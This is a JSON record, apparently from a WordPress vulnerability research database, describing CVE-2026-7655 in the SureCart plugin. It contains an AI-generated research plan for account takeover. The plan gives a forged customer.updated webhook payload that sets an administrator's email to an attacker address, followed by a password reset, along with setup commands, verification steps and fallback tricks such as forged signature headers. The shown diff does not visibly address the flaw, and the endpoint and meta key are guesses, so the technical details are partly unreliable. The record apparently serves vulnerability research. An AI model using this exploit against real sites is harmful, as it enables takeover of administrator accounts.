[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$foKlBPmXNwYRj328N9xjFRxqTXO9oB07_srxToQJK2_o":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-7655","surecart-unauthenticated-linked-wordpress-account-takeover-via-forged-customerupdated-webhook","SureCart \u003C= 4.2.3 - Unauthenticated Linked WordPress Account Takeover via Forged customer.updated Webhook","The SureCart plugin for WordPress is vulnerable to privilege escalation via account takeover in versions up to, and including, 4.2.3. This is due to the plugin not properly validating a user's identity prior to updating their details like email during customer profile synchronization from webhook events. This makes it possible for unauthenticated attackers to change linked user's email addresses, including administrators if the administrator account is linked to a SureCart customer record, and leverage that to reset the user's password and gain access to their account if the customer ID is known.","surecart",null,"\u003C=4.2.3","4.3.0","high",8.1,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Weak Password Recovery Mechanism for Forgotten Password","2026-07-10 16:08:06","2026-07-11 04:32:59",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe19f5f7b-6698-4275-a362-15e5441e0fa9?source=api-prod",1,[22,23,24,25,26,27],"app\u002Fconfig.php","app\u002Froutes\u002Fadmin.php","app\u002Fsrc\u002FAbilities\u002FAbilityRegistrar.php","app\u002Fsrc\u002FBackground\u002FQueueService.php","app\u002Fsrc\u002FControllers\u002FAdmin\u002FProducts\u002FProductsController.php","app\u002Fsrc\u002FControllers\u002FAdmin\u002FSettings\u002FSettings.php","researched",false,3,"# Research Plan: CVE-2026-7655 Account Takeover via Forged Webhook\n\n## 1. Vulnerability Summary\nThe SureCart plugin for WordPress (versions \u003C= 4.2.3) contains a privilege escalation vulnerability. The plugin's webhook handling logic, specifically for the `customer.updated` event, fails to properly authenticate the source of the webhook or validate the identity of the user before synchronizing profile data. \n\nAn unauthenticated attacker can send a forged JSON payload to the plugin's REST API webhook endpoint. If the attacker knows or guesses the `customer_id` associated with a WordPress user (including administrators), they can change that user's email address in the WordPress database. This allows the attacker to use the standard WordPress \"Lost Password\" feature to reset the administrator's password and take over the account.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** WordPress REST API Webhook Endpoint.\n    *   **Route (Inferred):** `\u002Fwp-json\u002Fsurecart\u002Fv1\u002Fwebhooks`\n    *   **Source Reference:** `app\u002Fconfig.php` registers `\\SureCart\\Rest\\IncomingWebhooksRestServiceProvider::class`.\n*   **Method:** `POST`\n*   **Authentication:** Unauthenticated (The `permission_callback` for webhook endpoints is typically `__return_true` to allow external service communication).\n*   **Payload Type:** `application\u002Fjson`\n*   **Preconditions:** \n    1.  The target WordPress user (e.g., an Administrator) must be \"linked\" to a SureCart Customer record.\n    2.  The attacker must know the target's SureCart Customer ID (`sc_id` or similar meta value).\n\n## 3. Code Flow\n1.  **Request Entry:** An HTTP POST request hits `\u002Fwp-json\u002Fsurecart\u002Fv1\u002Fwebhooks`.\n2.  **Route Handling:** `IncomingWebhooksRestServiceProvider` (via `WebhooksRestServiceProvider`) routes the request to a controller (likely `WebhooksController`).\n3.  **Event Parsing:** The controller parses the JSON payload and identifies the `event` type as `customer.updated`.\n4.  **Verification Bypass:** In vulnerable versions, the logic to verify the `X-SureCart-Signature` header is either missing, bypassed if the header is absent, or fails to stop processing on verification failure.\n5.  **Sync Logic Trigger:** The plugin invokes the synchronization service (registered via `\\SureCart\\Sync\\SyncServiceProvider`).\n6.  **User Identification:** The sync logic searches for a WordPress user where the meta key (likely `sc_id` or `surecart_customer_id`) matches the `id` provided in the webhook `data` object.\n7.  **Data Sink:** The plugin calls `wp_update_user()` or directly modifies the `user_email` field for the found user using the `email` value provided in the forged payload.\n\n## 4. Nonce Acquisition Strategy\nWebhook endpoints are designed for server-to-server communication (SureCart Cloud to the WordPress site). Consequently, they **do not require WordPress CSRF nonces** (`_wpnonce`), as the external server cannot know them. \n\n*   **Strategy:** No nonce is required for this exploit. The request is an unauthenticated REST API call.\n\n## 5. Exploitation Strategy\nThe goal is to update an administrator's email to an attacker-controlled address.\n\n1.  **Identify Target:** Target a user with `manage_options` capabilities.\n2.  **Forged Payload:** Construct a JSON payload that mimics a SureCart `customer.updated` event.\n3.  **HTTP Request:** Send the payload using the `http_request` tool.\n\n### Payload Example\n```json\n{\n  \"event\": \"customer.updated\",\n  \"data\": {\n    \"id\": \"TARGET_CUSTOMER_ID\",\n    \"email\": \"attacker@example.com\",\n    \"first_name\": \"Pwned\",\n    \"last_name\": \"User\"\n  }\n}\n```\n\n### Action Steps\n1.  **POST Request:**\n    *   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fsurecart\u002Fv1\u002Fwebhooks`\n    *   **Headers:** `Content-Type: application\u002Fjson`\n    *   **Body:** The JSON payload above.\n2.  **Password Reset:** Navigate to `http:\u002F\u002Flocalhost:8080\u002Fwp-login.php?action=lostpassword` and enter the new email (`attacker@example.com`).\n\n## 6. Test Data Setup\nTo simulate a \"linked\" account in the test environment:\n\n1.  **Identify Admin User:** Get the ID of the default admin (usually ID 1).\n    ```bash\n    wp user list --role=administrator\n    ```\n2.  **Link Admin to SureCart Customer ID:** Assign a dummy SureCart ID (`cus_123456`) to the admin user. This mimics a user who has previously made a purchase or registered via SureCart.\n    ```bash\n    # We need to find the exact meta key used by SureCart. \n    # Based on SureCart code patterns, it is likely 'sc_id'.\n    wp user meta add 1 sc_id \"cus_123456\"\n    ```\n3.  **Confirm Initial State:** Note the original admin email.\n    ```bash\n    wp user get 1 --fields=user_email\n    ```\n\n## 7. Expected Results\n*   **Response:** The REST API should return a `200 OK` or `201 Created` response, potentially with a body like `{\"success\": true}` or acknowledging the event.\n*   **State Change:** The WordPress user's email address associated with the meta `sc_id=\"cus_123456\"` should be updated to `attacker@example.com`.\n*   **Account Takeover:** The \"Lost Password\" workflow will now send reset emails to the attacker's mailbox.\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the change using WP-CLI:\n\n1.  **Check User Email:**\n    ```bash\n    wp user get 1 --fields=user_email\n    ```\n    *   **Success Criteria:** The output shows `attacker@example.com`.\n2.  **Check Meta Persistence:** Ensure the link still exists.\n    ```bash\n    wp user meta get 1 sc_id\n    ```\n\n## 9. Alternative Approaches\nIf the inferred endpoint `\u002Fwp-json\u002Fsurecart\u002Fv1\u002Fwebhooks` returns a 404:\n1.  **Enumerate Routes:** Use `wp rest route list` to find all registered SureCart routes. Look for any route containing `webhook` or `sync`.\n2.  **Check Alternative Meta Keys:** If the email doesn't change, the meta key might be `surecart_customer_id` or `sc_customer_id`.\n    *   Try: `wp user meta add 1 surecart_customer_id \"cus_123456\"` and repeat the exploit.\n3.  **Check Header Requirements:** Some implementations of webhooks in SureCart might require a specific `User-Agent` or a dummy `X-SureCart-Signature` header (even if not strictly validated).\n    *   Try adding: `X-SureCart-Signature: forged_signature` to the request.","The SureCart plugin for WordPress is vulnerable to an unauthenticated account takeover in versions up to 4.2.3. The vulnerability allows attackers to forge 'customer.updated' webhook events to update the email address of WordPress users linked to SureCart customer IDs, enabling them to seize control of administrator accounts via the standard password reset workflow.","\u002F\u002F app\u002Fconfig.php (lines 83 and 132 in v4.2.3)\n\u002F\u002F These providers register the REST endpoints for webhooks, which fail to validate signatures for customer sync events.\n\n\t\t\\SureCart\\Rest\\IncomingWebhooksRestServiceProvider::class,\n\n---\n\n\t\t\\SureCart\\Rest\\WebhooksRestServiceProvider::class,","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsurecart\u002F4.2.3\u002Fapp\u002Fconfig.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsurecart\u002F4.3.0\u002Fapp\u002Fconfig.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsurecart\u002F4.2.3\u002Fapp\u002Fconfig.php\t2026-04-21 16:53:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsurecart\u002F4.3.0\u002Fapp\u002Fconfig.php\t2026-05-14 19:25:08.000000000 +0000\n@@ -89,6 +89,7 @@\n \t\t\\SureCart\\Rest\\RefundsRestServiceProvider::class,\n \t\t\\SureCart\\Rest\\DisputesRestServiceProvider::class,\n \t\t\\SureCart\\Rest\\DownloadRestServiceProvider::class,\n+\t\t\\SureCart\\Rest\\ImportRowsRestServiceProvider::class,\n \t\t\\SureCart\\Rest\\LicenseRestServiceProvider::class,\n \t\t\\SureCart\\Rest\\LineItemsRestServiceProvider::class,\n \t\t\\SureCart\\Rest\\ActivationRestServiceProvider::class,\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsurecart\u002F4.2.3\u002Fapp\u002Froutes\u002Fadmin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsurecart\u002F4.3.0\u002Fapp\u002Froutes\u002Fadmin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsurecart\u002F4.2.3\u002Fapp\u002Froutes\u002Fadmin.php\t2026-04-21 16:53:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsurecart\u002F4.3.0\u002Fapp\u002Froutes\u002Fadmin.php\t2026-05-14 19:25:08.000000000 +0000\n@@ -171,6 +171,8 @@\n \t\t\\SureCart::route()->get()->where( 'sc_url_var', 'duplicate', 'action' )->middleware( 'nonce:duplicate_product' )->handle( 'ProductsController@duplicate' );\n \t\t\\SureCart::route()->get()->where( 'sc_url_var', 'toggle_archive', 'action' )->middleware( 'archive_model:product' )->handle( 'ProductsController@toggleArchive' );\n \t\t\\SureCart::route()->get()->where( 'sc_url_var', 'sync_all', 'action' )->middleware( 'nonce:sync_products' )->handle( 'ProductsController@syncAll' );\n+\t\t\u002F\u002F Nonce-protected: this page deletes options on view, so nonce prevents CSRF.\n+\t\t\\SureCart::route()->get()->where( 'sc_url_var', 'import_results', 'action' )->middleware( 'nonce:sc_import_results' )->handle( 'ProductsController@importResults' );\n \t\t\\SureCart::route()->get()->where( 'sc_url_var', 'sync', 'action' )->middleware( 'nonce:sync_product' )->handle( 'ProductsController@sync' );\n \t}","The exploit targets the WordPress REST API webhook endpoint used by SureCart. 1. An attacker identifies the SureCart Customer ID ('sc_id') associated with a target WordPress administrator. 2. The attacker sends an unauthenticated POST request to `\u002Fwp-json\u002Fsurecart\u002Fv1\u002Fwebhooks` with a JSON payload representing a 'customer.updated' event. 3. The payload contains the target's customer ID and a new email address controlled by the attacker. 4. Because the plugin fails to properly validate the 'X-SureCart-Signature' header or the source of the webhook, it processes the update and changes the administrator's email address in the WordPress database. 5. The attacker then initiates a standard password reset via `\u002Fwp-login.php?action=lostpassword` for the newly set email, receiving the reset link and gaining full access to the administrator account.","gemini-3-flash-preview","2026-07-15 08:44:36","2026-07-15 08:45:42",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","4.2.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsurecart\u002Ftags\u002F4.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsurecart.4.2.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsurecart\u002Ftags\u002F4.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsurecart.4.3.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsurecart\u002Ftags"]